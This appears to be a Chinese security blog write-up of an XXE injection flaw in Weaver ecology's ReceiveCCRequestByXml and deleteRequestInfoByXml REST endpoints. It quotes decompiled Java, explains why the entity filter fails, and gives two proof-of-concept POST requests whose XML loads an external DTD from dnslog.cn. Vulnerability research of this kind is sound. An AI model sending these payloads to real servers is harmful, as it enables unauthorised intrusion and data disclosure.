泛微ecology ReceiveCCRequestByXml-XXE注入

uein / 2023-08-04 / 原文

ReceiveCCRequestByXml.class

WEAVER\ecology\classbean\weaver\rest\servlet\service\ofs\ReceiveCCRequestByXml.class

public void service(IRestRequest var1, IRestResponse var2) throws RestException {
    	//var3获取http请求的内容
        HttpServletRequest var3 = var1.getHttpRequest();
        Response var4 = new Response();
    	//getServletInputStreamContent将var3转化为string类型赋值给var5
        String var5 = ServletUtil.getServletInputStreamContent(var3, "UTF-8");
        if (!"".equals(var5)) {
            OfsTodoDataManagerNew var6 = new OfsTodoDataManagerNew();
            String var7 = ServletUtil.getIpAddress(var3);
            var6.setClientIp(var7);
            //receiveCCRequestByXml方法处理var5
            String var8 = var6.receiveCCRequestByXml(var5);
            var4.addMessage("result", var8);
        }

        var2.writeReponse(var4);
    }

直接看service函数就行，var3获取的是http的请求内容，然后通过getServletInputStreamContent方法将var3的内容转换为String类型赋值给var5，如果var5不为空，再通过OfsTodoDataManagerNew的receiveCCRequestByXml函数去处理var5

getServletInputStreamContent

getServletInputStreamContent函数简单说就是将刚才的var3转换string并在有换行的地方添加换行符然后返回给var5

receiveCCRequestByXml

第一步中调用xmlToMap函数处理传入的var5

xmlToMap

var1 = SecurityMethodUtil.clearEntity(var1);//做了安全检查进行过滤

SecurityMethodUtil.clearEntity

    public static String clearEntity(String xml) {
        if (xml != null && !"".equals(xml)) {
            return xml.toLowerCase().indexOf("entity") == -1 ? xml : xml.replaceAll("(?i)\\<\\!entity", "*");
        } else {
            return xml;
        }
    }

传入的字符串如果不为空，检查是否存在entity，如果字符串中不包含"entity"，则直接返回；如果字符串中包含"entity"，则使用replaceAll()方法将所有<!ENTITY替换为*。

检查完之后xmlToMap执行DocumentHelper.parseText

Document var3 = DocumentHelper.parseText(var1);

其实在这里就是org.dom4j.DocumentHelper.parseText去解析xml了

还有一个deleteRequestInfoByXml代码上是差不多的也是可以XXE的就不接着写了

POC1

ReceiveCCRequestByXml

POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 133

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://dnslog.cn">
<M><syscode>&send;</syscode></M>

POC2

deleteRequestInfoByXml

POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 131

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://dnslog.cn/aa">
<M><syscode>&send;</syscode></M>